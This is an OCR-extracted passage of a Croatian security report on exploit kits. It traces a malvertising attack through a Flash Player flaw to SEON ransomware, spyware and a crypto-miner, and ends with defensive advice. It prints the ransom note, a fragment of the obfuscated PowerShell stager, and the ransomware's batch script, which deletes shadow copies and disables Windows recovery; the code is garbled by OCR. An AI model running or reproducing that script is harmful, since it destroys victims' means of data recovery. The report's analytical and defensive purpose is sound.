tj. moZe napasti inacice izdane prije 5. prosinca 2018. IskoriStavanje te ranjivosti
omogucilo je napadacu izvrSavanje proizvoljnog kdda na Zrtvinom racunalu (18).

Jednom kada je exploit kit naiSao na ranjivu Zrtvu i iskoristio ranjivost, exploit je napadacu
efektivno dao mogucnost da izvrSava naredbe na Zrtvinom racunalu. U ovom slucaju,
exploit je bio pripremljen tako da izvrsi relativno kratku PowerShell naredbu (u usporedbi
s velicinom uobicajenog zlonamjernog softvera) prikazanu na slici 12. Prikazana naredba
je zatim preuzela drugu, Sifriranu i sloZeniju PowerShell naredbu koja je radila dodatne
provjere prije instalacije zlonamjernog softvera. Konkretno, navedena je naredba
provjeravala izvrSava li se unutar virtualnog racunala, te u tom slucaju nije zarazila
racunalo (jer je izvrSavanje unutar virtualnog ra¢unala dobra indikacija napadacu da to
nije uobicajena Zrtva, ve¢ sustav za automatsku analizu ili sigurnosni analiticar koji
pokusava otkriti kako exploit kit funkcionira).

—-nop -w hidden -c function xor {param($wvi, S$en)

e[]]1SEGEf = xor 3vi Sen;IEX Sen.

Slika 12 PowerShell naredba koja se izvrsava nakon uspjesnog iskoristavanja ranjivosti (15)

Ako je exploit kit, kombinacijom PowerShell kdda i kdda na kontrolnom posluzitelju (engl.
command-and-control server), odlu¢io na temelju prikupljenih podataka da je okolina
unutar koje se izvrSava prihvatljiva, nastavlja s napadom i instalira ransomware SEON.
Ransomware SEON Sifrira Zrtvino racunalo i ostavlja poruku kojom ucjenjuje Zrtvu da plati
za kljuc¢/alat kojim ¢e deSifrirati datoteke. Na slici 13 prikazana je ucjenjivacka poruka
koju je Zrtvama ostavljao ransomware SEON.
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Bl SEON Ransomware ver, 0.2

ALL YOUR PERSONAL FILES HAVE BEEN ENCRYPTED!

All your documents, photos, databases and other important files have been encrypted and you can't decrypt it yourself. No one but us can return your files. Free decryption util
with its unique key, cryptography based on elliptic curves, key recovery is impossible.

Focus on the problem, follow your instructions and everything will be fine. DON'T PANIC! YOU CAN RETURN ALL YOUR FILES!

FREE decrypting as guarantee

You can test decryption 1 any file for free (with help our specil software "SEON Decryptor”).

What to do?
First you should write me and il send you a special software "SEON Decryptor” (this software needed to decrypt encrypted fies)
To start the process of decrypting ALL fies, you need buy key to the "SEON Decryptor”

Contacts

E-Mal: seonunlock@protonmail.com

E-Mail seonunlockénaver.com

Attention!

= Decryption keys are individual, the keys of other users wil not work for you
= Do not try to decrypt files with third party tools, this can lead to data loss

= Do not try to reinstall operation system on your computer

Slika 13 Ucjenjivacka poruka ransomwarea SEON (15)

Ransomware je obavljao i niz ostalih aktivnosti, prikazanih u batch skripti na slici 14,
poput brisanja pricuvnih kopija kako bi Zrtvi pokuSao onemoguciti oporavak podataka
bez placanja otkupnine. Takoder, uz ransomware SEON, exploit kit bi u isto vrijeme zarazio
korisnika spywareom Pony i zZlonamjernim softverom za rudarenje kriptovaluta (15).

| startb.bat - Notepad — | x

File Edit Format Wiew Help

cmd.exe /q fc "powershell.ExE -nop -w hidden -c $Sys6d = Y“$env:SystemRoot
Woysnative\";$5ys32 = \"fenv:SystemRoot\System32\";chcp 1251;IF (Test-Path
V'ESysed\vssadmin.exe\" ) {cmd fc \"ESysed\vssadmin delete shadows fall /quiet\”;cmd
Jc W'35ysbd\vssadmin delete shadows /all /quiet\"} ELSE {cmd /c \"$5ys32\vssadmin
delete shadows /all /quiet\";cmd /c Y\"$Sys32\vssadmin delete shadows /all /quiet
W };$Disks = [System.I0.Drivelnfo]::getdrives() *| ?{%_.DriveType -eq \"Fixed\"
};Disable-ComputerRestore $Disks;$logicalDisks = (GET-WMIObject -query Y"SELECT *
from win32_logicaldisk where DriveType = "3'\");If ($LogicalDisks -ne $null)
{foreach ($LD in $logicalDisks) {$Disk = $LD.DevicelD;Foreach ($lLogicalDisk in
$LogicalDisks) {%PrevVerEnable = \"vssadmin.exe Resize ShadowStorage /For=%Disk
JOn=%Disk /MaxSize=481MB\";%PrevVerEnableUn = \"vssadmin.exe Resize ShadowStorage
fFor=%Disk /On=%fDisk /MaxSize=unbounded\”;IF (Test-Path "§Sys6d\vssadmin.exe\")
{emd /o \"$Sys6d\$PrevVerEnable\";cmd fc \"$Sys6d\$PrevVerEnableln\"} ELSE {cmd /c
YE5ys320\$PrevVerEnable " ;omd S \"$Sys32\$PrevVerEnableUn\"}}}};IF (Test-Path
V'ESysed\vssadmin.exel\") {omd fc \"$SysBd\bcdedit /set {default} recoveryenabled
Mo\";cmd /c \"$Sys6di\bcdedit /set {default]} bootstatuspolicy ignoreallfailures
Weomd o \'$Sysed\vssadmin delete shadows fall fquiet\"} ELSE {cmd /c
YV'ESys32\bodedit /set {default} recoveryenabled Mo\"j;cmd fc \"$Sys32\bcdedit /set
{default} bootstatuspolicy ignoreallfailures\";cmd /fc \"$Sys32\vssadmin delete
shadows /all /quiet)\"}"

Slika 14 Batch skripta za brisanje pric¢uvnih kopija koju koristi ransomware SEON (15)
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Uzimajuci sve navedeno u obzir, konkretan primjer napada izgledao bi ovako:

1.

Korisnik Zeli konvertirati Youtube video u mp3 datoteku i posjecuje stranicu
onlinevideoconverter.com

Stranica je kompromitirana - na njoj se nalazi zlonamjerni oglas koji korisnika, ako
ima preglednik s inac¢icom Flash Playera starijom od 31.0.0.153, preusmjerava na
stranicu s exploit kitom

Exploit kit napada Zrtvu (ranjivog posjetitelja), preuzima datoteke i pokrece
zlonamjerni softver na njenom racunalu. Zrtva (posjetitelj) ne mora napraviti
niSta, samim posjecivanjem te stranice exploit kit se ucitao iz oglasa i Zrtvino
racunalo je napadnuto preko ranjivosti u Flash Playeru te je instaliran ransomware
SEON

Zrtvini podaci se ifriraju i pojavljuje se ucjenjivacka poruka (engl. ransom note),
kojom napadac traZi otkupninu za deSifriranje. Istovremeno, dok se korisnik bori
s oporavkom svojih podataka, u pozadini zlonamjerni softver troSi njegove
raCunalne resurse za rudarenje kriptovalute Monero, a spyware Pony u pozadini
sakuplja informacije o sustavu, povezanim korisnicima, mreZnim aktivnostima,
krade pohranjena korisni¢ka imena i lozinke i ostale osjetljive podatke i Salje ih
napadacu (19).
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4 Zakljucak

Exploit kitovi jednostavni su za koriStenje, dosezu veliki broj korisnika i sav napad
izvrsavaju automatski, bez ikakve suradnje Zrtve, Sto ih ¢ini velikom opasnosti prilikom
pregledavanja weba. Exploit kit koji uspjeSno napadne Zrtvu ima kontrolu nad njenim
racunalom te moZe instalirati ransomware, skupljati osjetljive podatke ili na neki drugi
nacin pokusati izvuéi novcanu Korist.

Trenutno su aktualni exploit kitovi poznati pod nazivima Spelevo, Fallout, Magnitude, RIG,
GrandSoft, Underminer i GreenFlash, a svima je zajednicko stupanje u kontakt sa Zrtvama
putem zlonamjernog oglasavanja i detaljnije prikupljanje podataka o racunalu nad kojim
su uspjesno izvrsili napad kako bi odlucili hoce li instalirati zlonamjerni softver ili nece
(20).

Kako bi napad exploit kitom uspio, korisnik mora u pozadini biti preusmjeren na stranicu
koja pohranjuje zlonamjerni kod i mora imati inaficu web preglednika ili dodatka
pregledniku za koju postoji ranjivost i spreman exploit. NajceS¢e napadane ranjivosti su
ranjivosti preglednika Internet Explorer i dodatka pregledniku Flash Player (20) (21).

Uz navodenje korisnika na stranicu s exploit kitom putem phishing/spam poruka e-poSte
gdje korisnik mora slijediti poveznicu iz poruke, ¢esto se koriste i kampanje zlonamjernog
oglasavanja (2). Zlonamjernim oglasavanjem exploit kit moZe stupiti u kontakt s
posjetiteljima popularnih web stranica koje iznajmljuju svoj prostor za oglasavanje. Sama
¢injenica da je korisnik posjetio inace legitimnu, ali kompromitiranu web stranicu ¢ini ga
potencijalnom Zrtvom napada exploit kitom.

U cijelom ovom procesu, osim koriStenja ranjivog softvera, korisnik zaista nije napravio
nista krivo - nije posjetio neku sumnjivu stranicu (ve¢ samo primjerice uobicajeni portal
s vijestima), nije preuzimao i pokretao nikakav softver, nije ¢ak ni kliknuo na oglase, a i
dalje se u konacnici zarazio.

Exploit kitovi se oslanjaju na ranjivosti preglednika i dodataka pregledniku te izvrSavanje
JavaScript koda unutar web preglednika. Sljedece preporuke su korisne za sprjecavanje
napada exploit kitom:

e Redovito aZurirati web preglednik (npr. Google Chrome, Mozilla Firefox,
Internet Explorer, Microsoft Edge...). Proizvodali softvera redovito izdaju
sigurnosne zakrpe i ispravljaju pogreSke koje uzrokuju ranjivosti. Exploti se
vetinom oslanjaju na neaZurni softver, stoga e redovito aZuriranje znatno
smanjiti rizik.

e Redovito aZzurirati dodatke pregledniku. Osim aZzuriranja, preporucljivo je i ne
instalirati nepouzdane i nepotrebne dodatke, a pametno je i brisati dodatke koji
se viSe ne Kkoriste (primjerice Adobe Flash Player) jer se time smanjuje broj
potencijalnih ranjivosti koje bi exploit kit mogao napasti.

¢ Instalirati antivirusni softver. Antivirusni sustavi ¢e prepoznati neka sumnjiva

pozadinska preuzimanja i pokuSaje instalacije zlonamjernog softvera te time
sprijeciti dio napada exploit kitovima.
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Instalirati dodatak pregledniku za blokiranje oglasa (engl. ad blocker). Takvi
dodaci ¢e sprijeciti ucitavanje oglasa, a time i ucitavanje zlonamjernih oglasa koji
preusmjeravaju posjetitelje na exploit kitove.

Upravljati izvrS§avanjem JavaScript koda. Dodacima poput NoScripta i uMatrixa
koji su opisani u prethodnom dokumentu Nacionalnog CERT-a: ,Sigurnosni rizici
JavaScript kéda"“ postiZe se veca kontrola nad izvrSavanjem JavaScript kdda koji je
neophodan dio vecine prijetnji na webu.

Izbjegavati Internet Explorer i Adobe Flash Player. Web preglednik Internet
Explorer i dodatak preglednicima Adobe Flash Player Ceste su mete exploit kitova
(20) (21), a ve¢ godinama nema gotovo nikakvog razloga za njihovo koriStenje.
Korisnici Internet Explorera mogu preci na moderniji i sigurniji web preglednik
kao Sto je Mozilla Firefox ili Google Chrome, a Adobe Flash Player je najbolje u
potpunosti ukloniti. Cak i Microsoft danas preporuca korisnicima da ne koriste
web preglednik Internet Explorer (22), te je Adobe jos 2017. godine najavio kako
Flash Player viSe nece biti podrzan (nece dobivati sigurnosne zakrpe) od 2020.
godine (23).

Prethodne smjernice bi trebale svesti vjerojatnost uspjeSnog napada exploit kitom na
minimum, no isto tako, treba biti svjestan da zaista nije moguce zaustaviti svaki napad.
Realno je ocekivati i da e, unato¢ dobroj ,sigurnosnoj higijeni“, i oprezni korisnici
ponekada postati Zrtvom napada. Zato, bitno je imati i moguc¢nosti detekcije napada -
primjerice redovito, proaktivno skeniranje antivirusnim softverom; te moguénosti
oporavka od napada - u slu¢aju napada ransomwareom Kkoji je jedna od CeSc¢ih prijetnji,
pricuvne kopije podataka pohranjene tako da do njih ransomware ne moze do¢i (npr.
offline pricuvne kopije) mogu znatno ublaZiti posljedice napada.
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